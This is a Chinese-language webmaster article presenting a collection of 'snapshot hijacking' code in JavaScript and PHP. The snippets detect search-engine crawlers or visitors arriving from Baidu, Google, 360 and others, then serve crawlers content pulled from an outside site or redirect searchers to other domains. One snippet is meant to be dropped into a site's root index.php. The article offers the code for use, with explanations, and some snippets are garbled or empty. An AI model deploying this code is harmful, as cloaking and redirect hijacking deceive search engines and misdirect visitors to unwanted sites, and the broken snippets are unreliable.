快照劫持代码大全:js、php,百度、360、网站看似正常但是搜索跳转到别
网站看似正常但是搜索跳转到别的网站
快照劫持代码大全:js、php,百度、360、sogou、神马、google、bing、yahoo…
js快照劫持代码
baidu、360、sogou、soso、神马、uc、bing、yahoo...
版本1:
1 2 3 4 5 6 7 8 | document.writeln( "var s=document.referrer" ); /*获取当前网页超链接的地址url,并把此url的值赋给s */ document.writeln( "if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )" ); /*这里的indexOf是一个方法 s.indexOf("baidu") 的意思是 获取"baidu"在s中的下标 ,如果s中包含"baidu",就会得到一个int类型的数。 ||是或的意思。 if()中的意思是:当前网页的url地址包含baidu或sogou或soso或sm等的时候,继续其他语句。*/ /*这里的location.href= "/url"是当前页面打开URL页面,属于本页面跳转。*/ |
版本2:
1 2 3 4 5 6 7 |
|
代码解释:if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("so")>0 ) 判断搜索引擎来源,如果来源正确,location.href="http://www.hao123.com";跳转到hao123网站。下面的代码是如果否,则打开正常首页。这段代码为js代码。只是一个简单的判断。
php快照劫持代码
百度、google...
1 2 3 4 5 6 7 8 9 |
header( 'Content-Type:text/html;charset=utf-8' ); $key = $_SERVER [ "HTTP_USER_AGENT" ]; if ( strpos ( $key , 'oogle' )!== false|| strpos ( $key , 'baidu' )!==false) { echo $file ; // } ?> |
dedecms劫持快照代码
放在根目录/index.php
1 2 |
if ( strpos ( $_SERVER [ 'HTTP_USER_AGENT' ], "spider" )|| strpos ( $_SERVER [ "HTTP_USER_AGENT" ], "google" )>-1){ $str = file_get_contents ( "http://www.ld4.net/" ); echo $str ; } $domain = array ( 'baidu' , 'so' ); $fromurl =@ strtolower ( $_SERVER [ 'HTTP_REFERER' ]); foreach ( $domain as $v ) { if ( strpos ( $fromurl , $v )!==false) { $target = "http://www.ld4.net/" ; header( "Location:" . $target ); exit ; }}?> |
pc端、移动端js快照劫持代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | try { var urlhash = window.location.hash; if (!urlhash.match( "fromapp" )){ if ((navigator.userAgent.match(/(iPhone|iPod|Android|ios|iPad)/i))){ if (window.name != 'ad_app6' ){ var r = document.referrer; r = r.toLowerCase(); var aSites = new Array( 'google.' , 'baidu.' , 'soso.' , 'so.' , '360.' , 'yahoo.' , 'youdao.' , 'sogou.' , 'gougou.' ); var b = false ; for (i in aSites){ if (r.indexOf(aSites) > 0){ b = true ; break ; } } if (b) { window.adworkergo = 'ad_app6' ; } else { location.replace(juhaoyong_mp_site_jump_url); } } } else { if (window.name != 'ad_app6' ){ var r = document.referrer; r = r.toLowerCase(); var aSites = new Array( 'google.' , 'baidu.' , 'soso.' , 'so.' , '360.' , 'yahoo.' , 'youdao.' , 'sogou.' , 'gougou.' ); var b = false ; for (i in aSites){ if (r.indexOf(aSites) > 0){ b = true ; break ; } } if (b) { window.adworkergo = 'ad_app6' ; } } } } } catch (err){ } |
网站看似正常但是搜索跳转到别的网站快照劫持代码变化很快,但万变不离其宗:判断抓取蜘蛛来源,指向快照抓取网址;代码判断来路,进行跳转到指定网址。
如果您的问题还未解决可以联系站长付费协助。
有问题可以加入技术QQ群一起交流学习
本站vip会员 请加入无忧模板网 VIP群(50604020) PS:加入时备注用户名或昵称
普通注册会员或访客 请加入无忧模板网 技术交流群(50604130)
客服微信号:15898888535
声明:本站所有文章资源内容,如无特殊说明或标注,均为采集网络资源。如若内容侵犯了原著者的合法权益,可联系站长删除。